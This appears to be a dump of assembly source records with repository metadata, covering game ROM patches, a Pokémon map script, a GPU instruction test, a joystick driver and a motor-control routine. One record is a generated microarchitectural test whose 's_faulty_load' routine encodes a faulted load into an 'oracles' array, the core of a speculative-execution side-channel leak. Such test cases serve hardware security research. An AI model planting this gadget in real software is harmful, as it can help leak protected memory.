00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 36.067416 | 2,999 | 0.660125 |
e1d48100503648921d5f8696348d291e4e6396d5 | 3,834 | asm | Assembly | asm/text.asm | RockmanEXEZone/MMBN45-English-Translation | 61c8df305f76b3b94395cf58cee16d816b56eaaa | [
"BSD-3-Clause"
] | 6 | 2019-11-16T10:19:15.000Z | 2022-03-25T16:36:40.000Z | asm/text.asm | RockmanEXEZone/MMBN45-English-Translation | 61c8df305f76b3b94395cf58cee16d816b56eaaa | [
"BSD-3-Clause"
] | null | null | null | asm/text.asm | RockmanEXEZone/MMBN45-English-Translation | 61c8df305f76b3b94395cf58cee16d816b56eaaa | [
"BSD-3-Clause"
] | null | null | null | // Add US/EU text blocks
.org 0x80500FC
.dw text_cmdEuropeBlock|1
.org 0x8050164
.dw text_cmdEuropeBlock|1
// Use uncompressed 6EAD18 Tournament Victory
// Remove decompression step
.org 0x8046ED2
nop :: nop
.org 0x80470EC
nop :: nop
// Pointer for License graphics
.org 0x804810C // script 5-9
dw file_6EAD18
// Use direct read function
.org 0x8046F70 // script 0-4, 11, 12, 25-48
bl 0x80479E0
.org 0x80471FC // script 15, 50
bl 0x80479E0
.org 0x8047278 // script 16, 51
bl 0x80479E0
.org 0x8047316 // script 17-22, 52-57
bl 0x80479E0
.org 0x80472AA // script 23
bl 0x80479E0
.org 0x8047506 // script 60
bl 0x80479E0
.org 0x80475CE // script 61, 65-85, 90-110
bl 0x80479E0
.org 0x804763A // script 62
bl 0x80479E0
.org 0x80476C4 // script 63
bl 0x80479E0
// Left: 10, 86 (unused?)
.org 0x080479E0
.area 0x18
// Replace decompression with direct read
push r0,r14
bl 0x8000CEC
lsl r0,r0,0x2
ldr r1,=0x80479F8
ldr r0,[r1,r0]
pop r1
bl 0x804FB4C
pop r15
.pool
.endarea
// Mail contents - Use uncompressed
// Remove decompression step
.org 0x8040562
nop :: nop
// Replace decompression with direct read
.org 0x803FD06
bl text_loadMailContentsUncompressed
.org 0x803FD28
.dw 0x80405F8
// Add commas for multi string buffer
.org 0x8038D38
bl text_multiStringComma
nop
// Load character width as 8-bit value
.org 0x804F964
ldrb r2,[r3,r2]
.org 0x8055762
ldrb r3,[r4,r1]
.org IWRAM_BLOB+0x1316
ldrb r3,[r4,r1]
// Load mugshot animation flag from width table
.org 0x804FFD4
.area 0x22
ldr r0,=0x805290D
lsl r1,r1,0x2
ldrb r0,[r0,r1]
mov r1,0x1
tst r0,r1
beq 0x804FFEA
b 0x804FFF8
.pool
.endarea
.org 0x805001E
.area 0x22
ldr r0,=0x805290D
lsl r1,r1,0x2
ldrb r0,[r0,r1]
mov r1,0x1
tst r0,r1
beq 0x8050034
b 0x805003E
.pool
.endarea
// Use 8px space for number padding
.org 0x8055914
mov r7,0xC9
.org 0x8055950
mov r0,0xC9
// Auto-capitalization for player-entered strings
.org 0x8051574
.area 0x14
push r14
add r0,=0x8051588
ldrb r1,[r4,0x1]
// Trim off the capitalization bits
lsl r1,r1,0x1C
lsr r1,r1,0x1A
ldr r0,[r0,r1]
mov r14,r15
bx r0
pop r15
.pool
.endarea
.org 0x8051870
.area 0x14
push r14
add r0,=0x8051884
ldrb r1,[r4,0x1]
// Trim off the capitalization bits
lsl r1,r1,0x1C
lsr r1,r1,0x1A
ldr r0,[r0,r1]
mov r14,r15
bx r0
pop r15
.pool
.endarea
.org 0x80518D6
.area 0x12
add r2,=0x80518E8
ldrb r7,[r4,0x1]
// Trim off the capitalization bits
lsl r7,r7,0x1C
lsr r7,r7,0x1C
ldrb r2,[r2,r7]
add r4,r4,r2
str r4,[r5,0x48]
mov r4,r0
pop r3,r15
.pool
.endarea
.org 0x8051812
bl text_applyStringCapsROM
nop
.org IWRAM_BLOB+0x11D8
.area 0x14
push r3,r7,r14
add r1,=IWRAM_BLOB+0x11EC
ldrb r3,[r0,0x1]
// Trim off the capitalization bits
lsl r3,r3,0x1C
lsr r3,r3,0x1A
ldr r1,[r1,r3]
mov r14,r15
bx r1
pop r3,r7,r15
.pool
.endarea
.org IWRAM_BLOB+0x125C
.area 0xC
ldr r1,=text_applyStringCapsRAM|1
bx r1
.pool
.endarea
// Change space width to 7px (from 8px), as done in EXE4 -> BN4
.org 0x80505BE
mov r0,0x7
// Change positionTextCenter char width to 8px (from 11px), as done in EXE4 -> BN4
.org 0x805201A
mov r0,0x8
// Change positionOptionHorizontal calculation
//.org 0x805205A
// mov r0,0x8
//.org 0x805205E
// mov r1,0x7
.org 0x8052056
ldrb r1,[r4,0x2]
mov r0,0x7
mul r0,r1
add r0,0x2D
b 0x8052066
.org 0x8052090
// Don't shift off lowest bit
b 0x8052094
// Change positionOptionVertical calculation
//.org 0x80520B8
// mov r0,0x8
//.org 0x80520BC
// add r0,0x7
.org 0x80520B6
ldrb r1,[r4,0x2]
mov r0,0x7
mul r0,r1
add r0,0x2D
// Change positionOptionFromCenter calculation
//.org 0x8052102
// mov r0,0x8
//.org 0x8052106
// mov r1,0x7
.org 0x80520FE
ldrb r1,[r4,0x2]
mov r0,0x7
mul r0,r1
add r0,0x2D
b 0x805210E
.org 0x8052122
// Don't shift off lowest bit
b 0x8052126
| 15.035294 | 82 | 0.718049 |
019191d179c3340e12173fd43b0ff5322b1fe5dc | 4,958 | asm | Assembly | maps/PlayersHouse2F.asm | AtmaBuster/pokecrystal16-493-plus | 0c8cd4d187c246fe1debc07f89e278fd702595d7 | [
"blessing"
] | 1 | 2021-01-19T04:15:45.000Z | 2021-01-19T04:15:45.000Z | maps/PlayersHouse2F.asm | AtmaBuster/pokecrystal16-493-plus | 0c8cd4d187c246fe1debc07f89e278fd702595d7 | [
"blessing"
] | null | null | null | maps/PlayersHouse2F.asm | AtmaBuster/pokecrystal16-493-plus | 0c8cd4d187c246fe1debc07f89e278fd702595d7 | [
"blessing"
] | 1 | 2021-01-16T00:12:08.000Z | 2021-01-16T00:12:08.000Z | object_const_def ; object_event constants
const PLAYERSHOUSE2F_RIVAL
PlayersHouse2F_MapScripts:
db 3 ; scene scripts
scene_script .Scene0 ; SCENE_PLAYERSHOUSE2F_INIT
scene_script .Dummy ; SCENE_PLAYERSHOUSE2F_RIVAL
scene_script .Dummy ; SCENE_PLAYERSHOUSE2F_DONE
db 1 ; callbacks
callback MAPCALLBACK_NEWMAP, .InitializeRoom
.Scene0:
turnobject PLAYER, UP
opentext
writetext IntroSandgemTextCont
waitbutton
closetext
setscene SCENE_FINISHED
turnobject PLAYER, DOWN
end
.Dummy:
end
.InitializeRoom:
special ToggleDecorationsVisibility
setevent EVENT_TEMPORARY_UNTIL_MAP_RELOAD_8
return
PlayersHousePCScript:
opentext
special PlayersHousePC
iftrue .Warp
closetext
end
.Warp:
warp NONE, 0, 0
end
PlayersRoomRivalScript1:
settableindex 0
sjump PlayersRoomRivalScript
PlayersRoomRivalScript2:
settableindex 1
sjump PlayersRoomRivalScript
PlayersRoomRivalScript3:
settableindex 2
PlayersRoomRivalScript:
appear PLAYERSHOUSE2F_RIVAL
playsound SFX_EXIT_BUILDING
applymovement PLAYERSHOUSE2F_RIVAL, PlayersRoom_RivalMoveDown
showemote EMOTE_SHOCK, PLAYERSHOUSE2F_RIVAL, 15
opentext
writetext PlayersRoom_RivalText1
waitbutton
closetext
playmusic MUSIC_RIVAL_ENCOUNTER
turnobject PLAYER, RIGHT
applymovementtable PLAYERSHOUSE2F_RIVAL, PlayersRoom_RivalApproachPlayer
opentext
writetext PlayersRoom_RivalText2
waitbutton
closetext
showemote EMOTE_SHOCK, PLAYERSHOUSE2F_RIVAL, 15
applymovementtable PLAYERSHOUSE2F_RIVAL, PlayersRoom_RivalToPC
turnobject PLAYER, LEFT
opentext
writetext PlayersRoom_RivalText3
waitbutton
closetext
turnobject PLAYERSHOUSE2F_RIVAL, RIGHT
opentext
writetext PlayersRoom_RivalText4
waitbutton
closetext
applymovementtable PLAYERSHOUSE2F_RIVAL, PlayersRoom_RivalPCToPlayer
opentext
writetext PlayersRoom_RivalText5
waitbutton
closetext
applymovementtable PLAYERSHOUSE2F_RIVAL, PlayersRoom_RivalExit
playsound SFX_EXIT_BUILDING
disappear PLAYERSHOUSE2F_RIVAL
waitsfx
special RestartMapMusic
setscene SCENE_PLAYERSHOUSE2F_DONE
end
PlayersRoom_RivalMoveDown:
step DOWN
turn_head LEFT
step_end
PlayersRoom_RivalApproachPlayer:
dw .player_right
dw .player_left
dw .player_down
.player_left
step DOWN
step LEFT
step LEFT
step LEFT
step_end
.player_right
step DOWN
step LEFT
step_end
.player_down
step DOWN
step DOWN
step LEFT
step LEFT
step_end
PlayersRoom_RivalToPC:
dw .player_right
dw .player_left
dw .player_down
.player_right
step DOWN
step LEFT
step LEFT
step LEFT
step LEFT
step UP
step_end
.player_left
step DOWN
step LEFT
step LEFT
step UP
step_end
.player_down
step UP
step LEFT
step LEFT
step LEFT
turn_head UP
step_end
PlayersRoom_RivalPCToPlayer:
dw .player_right
dw .player_left
dw .player_down
.player_right
step RIGHT
step RIGHT
step_end
.player_left
step_end
.player_down
step DOWN
step RIGHT
step_end
PlayersRoom_RivalExit:
dw .player_right
dw .player_left
dw .player_down
.player_right
step DOWN
step RIGHT
step RIGHT
step RIGHT
step UP
step UP
step UP
step_end
.player_left
step DOWN
step RIGHT
step RIGHT
step RIGHT
step RIGHT
step RIGHT
step UP
step UP
step UP
step_end
.player_down
step UP
step RIGHT
step RIGHT
step RIGHT
step RIGHT
step UP
step UP
step_end
PlayersRoom_RivalText1:
text "<RIVAL>: There you"
line "are!"
done
PlayersRoom_RivalText2:
text "Hey <PLAYER>!"
line "Did you just see"
cont "the TV?"
cont "Sure you did!"
para "PROF.ROWAN's that"
line "really important"
cont "guy who studies"
cont "#MON, right?"
para "That means he must"
line "have lots and lots"
cont "of #MON."
para "So, if we ask him,"
line "I bet he'd give us"
cont "some #MON!"
done
PlayersRoom_RivalText3:
text "Oh, hey!"
line "Is that a new PC?"
done
PlayersRoom_RivalText4:
text "<RIVAL>: Uh…"
line "Where was I?"
done
PlayersRoom_RivalText5:
text "Oh, right, right!"
line "We're going to see"
cont "PROF.ROWAN and get"
cont "some #MON."
para "I'll be waiting"
line "outside."
para "Ok, <PLAYER>? If"
line "you're late, I'm"
cont "fining you"
cont "¥10 million!"
done
IntroSandgemTextCont:
text "That conlcudes our"
line "special program,"
cont "“Let's Ask PROF."
cont "ROWAN!”"
para "Brought to you by"
line "JUBILIFE TV on"
cont "Nationwide Net!"
para "See you next week,"
line "same time, same"
cont "channel!"
done
PlayersHouse2F_MapEvents:
db 0, 0 ; filler
db 1 ; warp events
warp_event 7, 0, PLAYERS_HOUSE_1F, 3
db 3 ; coord events
coord_event 5, 2, SCENE_PLAYERSHOUSE2F_RIVAL, PlayersRoomRivalScript1
coord_event 3, 2, SCENE_PLAYERSHOUSE2F_RIVAL, PlayersRoomRivalScript2
coord_event 4, 3, SCENE_PLAYERSHOUSE2F_RIVAL, PlayersRoomRivalScript3
db 1 ; bg events
bg_event 2, 1, BGEVENT_UP, PlayersHousePCScript
db 1 ; object events
object_event 7, 0, SPRITE_SILVER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, ObjectEvent, EVENT_RIVAL_PLAYERS_HOUSE
| 17.275261 | 144 | 0.786809 |
8e93c21431f055b870833cef30abc2b406506602 | 5,943 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_336.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_336.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_336.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x13e3b, %r14
nop
nop
nop
nop
add %rcx, %rcx
mov (%r14), %r12w
nop
nop
xor $24737, %rcx
lea addresses_WC_ht+0x4d9, %r9
nop
cmp %rsi, %rsi
movl $0x61626364, (%r9)
nop
nop
nop
dec %r9
lea addresses_UC_ht+0x1ac4b, %rsi
lea addresses_normal_ht+0x141ab, %rdi
nop
dec %rdx
mov $56, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %r14, %r14
lea addresses_WC_ht+0x93cb, %rdi
nop
nop
nop
nop
add $41928, %r9
mov (%rdi), %si
nop
nop
sub $35845, %rdi
lea addresses_D_ht+0x139ab, %rsi
lea addresses_A_ht+0x164cb, %rdi
nop
nop
nop
lfence
mov $39, %rcx
rep movsw
nop
nop
nop
nop
nop
and $15328, %rsi
lea addresses_A_ht+0x5fab, %r9
nop
xor %r15, %r15
movb (%r9), %r14b
nop
xor $2183, %r14
lea addresses_WC_ht+0xf7d3, %rsi
lea addresses_UC_ht+0xf3c1, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub %r14, %r14
mov $44, %rcx
rep movsw
xor %r12, %r12
lea addresses_WC_ht+0x191ab, %rsi
lea addresses_D_ht+0x9ab, %rdi
nop
xor $1217, %r15
mov $92, %rcx
rep movsq
nop
nop
nop
nop
and %r12, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %r9
push %rax
push %rcx
// Faulty Load
lea addresses_RW+0x189ab, %rcx
nop
and %r9, %r9
vmovups (%rcx), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %r8
lea oracles, %rax
and $0xff, %r8
shlq $12, %r8
mov (%rax,%r8,1), %r8
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 40.428571 | 2,999 | 0.659431 |
02e11fc05dc02e35f25e600be058808896f9a3bc | 319 | asm | Assembly | src/intel/tools/tests/gen4.5/frc.asm | SoftReaper/Mesa-Renoir-deb | 8d1de1f66058d62b41fe55d36522efea2bdf996d | [
"MIT"
] | null | null | null | src/intel/tools/tests/gen4.5/frc.asm | SoftReaper/Mesa-Renoir-deb | 8d1de1f66058d62b41fe55d36522efea2bdf996d | [
"MIT"
] | null | null | null | src/intel/tools/tests/gen4.5/frc.asm | SoftReaper/Mesa-Renoir-deb | 8d1de1f66058d62b41fe55d36522efea2bdf996d | [
"MIT"
] | null | null | null | frc.sat(8) m5<1>F g3<4>F { align16 };
frc(8) g7<1>.xF (abs)g1<0>.xF { align16 };
frc(16) g4<1>F g2<0,1,0>F { align1 compr };
frc(16) m3<1>F g10<8,8,1>F { align1 compr4 };
| 63.8 | 82 | 0.31348 |
c77fca09594071c74379b7e3ae3839a244820797 | 826 | asm | Assembly | libsrc/games/gal/joystick.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/games/gal/joystick.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/games/gal/joystick.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; Generic game device library - Galaksija port
; Stefano Bodrato - 2017
;
; $Id: joystick.asm $
;
SECTION code_clib
PUBLIC joystick
PUBLIC _joystick
EXTERN getk
.joystick
._joystick
;__FASTALL__ : joystick no. in HL
ld a,l
dec a
jp z,arrows
ld e,0
ld hl,$2020
ld a,(hl); zero
cpl
rrca
rl e ; fire
ld l,$27 ;U
ld a,(hl)
cpl
rrca
rl e
ld l,$26 ;D
ld a,(hl)
cpl
rrca
rl e ; fire
ld l,$25 ;L
ld a,(hl)
cpl
rrca
rl e ; fire
ld l,$28 ;R
ld a,(hl)
cpl
rrca
rl e ; fire
ld h,0
ld l,e
ret
.arrows
; MOVE_RIGHT 1
; MOVE_LEFT 2
; MOVE_DOWN 4
; MOVE_UP 8
; MOVE_FIRE 16
ld e,0
ld hl,$201F
ld a,(hl); space
cpl
rrca
rl e ; fire
ld l,27 ; $2000 + 27..30: UDLR
ld b,4
.jloop
ld a,(hl)
cpl
rrca
rl e
inc hl
djnz jloop
ld h,0
ld l,e
ret
| 9.717647 | 46 | 0.583535 |
f0520c446ca786d11821aec3c7f77de93ea2d6bc | 1,776 | asm | Assembly | c2000/C2000Ware_1_00_06_00/libraries/control/DCL/c28/source/DCL_PI_L2.asm | ramok/Themis_ForHPSDR | d0f323a843ac0a488ef816ccb7c828032855a40a | [
"Unlicense"
] | null | null | null | c2000/C2000Ware_1_00_06_00/libraries/control/DCL/c28/source/DCL_PI_L2.asm | ramok/Themis_ForHPSDR | d0f323a843ac0a488ef816ccb7c828032855a40a | [
"Unlicense"
] | null | null | null | c2000/C2000Ware_1_00_06_00/libraries/control/DCL/c28/source/DCL_PI_L2.asm | ramok/Themis_ForHPSDR | d0f323a843ac0a488ef816ccb7c828032855a40a | [
"Unlicense"
] | 1 | 2021-07-21T08:10:37.000Z | 2021-07-21T08:10:37.000Z | ; DCL_PI_L2.asm - Parallel PI controller
;
; Copyright (C) 2018 Texas Instruments Incorporated - http://www.ti.com/
; ALL RIGHTS RESERVED
.if __TI_EABI__
.asg DCL_runPI_L2, _DCL_runPI_L2
.endif
.global _DCL_runPI_L2
.def __cla_DCL_runPI_L2_sp
SIZEOF_LFRAME .set 5
LFRAME_MR3 .set 0
__cla_DCL_runPI_L2_sp .usect ".scratchpad:Cla1Prog:_DCL_runPI_L2", SIZEOF_LFRAME, 0, 1
.asg __cla_DCL_runPI_L2_sp, LFRAME
.sect "Cla1Prog:_DCL_runPI_L2"
.align 2
; C prototype:
; float DCL_runPI_L2(DCL_PI *p, float32_t rk, float32_t yk)
; argument 1 = *p : 32-bit PI structure address [MAR0]
; argument 2 = rk : 32-bit floating-point reference [MR0]
; argument 3 = yk : 32-bit floating-point feedback [MR1]
; return = uk : 32-bit floating-point [MR0]
_DCL_runPI_L2:
; MDEBUGSTOP
MMOV32 @LFRAME + LFRAME_MR3, MR3 ; save MR3
MNOP ; MAR0 delay slot
MSUBF32 MR0, MR0, MR1 ; MR0 = v1
MMOV32 MR1, *MAR0[2]++ ; MR1 = Kpa
MMPYF32 MR2, MR0, MR1 ; MR2 = v2
|| MMOV32 MR1, *MAR0[8]++ ; MR1 = Kia
MMPYF32 MR3, MR0, MR1 ; MR3 = v3
|| MMOV32 MR0, *MAR0[-6]++ ; MR0 = i6
MMPYF32 MR1, MR0, MR3 ; MR1 = v8
|| MMOV32 MR0, *MAR0 ; MR0 = i10
MADDF32 MR3, MR0, MR1 ; MR3 = v4
MMOV32 *MAR0[2]++, MR3 ; save i10
MADDF32 MR0, MR2, MR3 ; MR0 = v5
|| MMOV32 MR1, *MAR0[2]++ ; MR1 = Umaxa
MMOVF32 MR2, #0.0f ; MR1 = 0.0f
MMOVF32 MR3, #1.0f ; MR2 = 1.0f
MMINF32 MR0, MR1 ; MR0 = sat+
MMOV32 MR3, MR2, GT ; MR3 = v6
MMOV32 MR1, *MAR0[2]++ ; MR1 = Umina
MMAXF32 MR0, MR1 ; MR0 = sat-
MRCNDD UNC ; return call
MMOV32 MR3, MR2, LT ; MR3 = v6
MMOV32 *MAR0, MR3 ; save i6
MMOV32 MR3, @LFRAME + LFRAME_MR3 ; restore MR3
.unasg LFRAME
; end of file
| 29.6 | 86 | 0.623311 |
f0bf370506eb774981329271cbc19b7635159e57 | 381 | asm | Assembly | oeis/091/A091915.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/091/A091915.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/091/A091915.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A091915: Maximum of even products of partitions of n.
; Submitted by Christian Krause
; 0,2,2,4,6,8,12,18,24,36,54,72,108,162,216,324,486,648,972,1458,1944,2916,4374,5832,8748,13122,17496,26244,39366,52488,78732,118098,157464,236196,354294,472392,708588,1062882,1417176,2125764,3188646,4251528
add $0,2
seq $0,792 ; a(n) = max{(n - i)*a(i) : i < n}; a(0) = 1.
div $0,3
mul $0,2
| 42.333333 | 207 | 0.706037 |
a7f2d5cf1665742a9ef9827bd2a5fea02b430c59 | 42,745 | asm | Assembly | cmd/edlin/edlin.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | cmd/edlin/edlin.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | cmd/edlin/edlin.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | PAGE 60,132;
TITLE EDLIN
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;======================= START OF SPECIFICATIONS =========================
;
; MODULE NAME: EDLIN.SAL
;
; DESCRIPTIVE NAME: LINE TEXT EDITOR
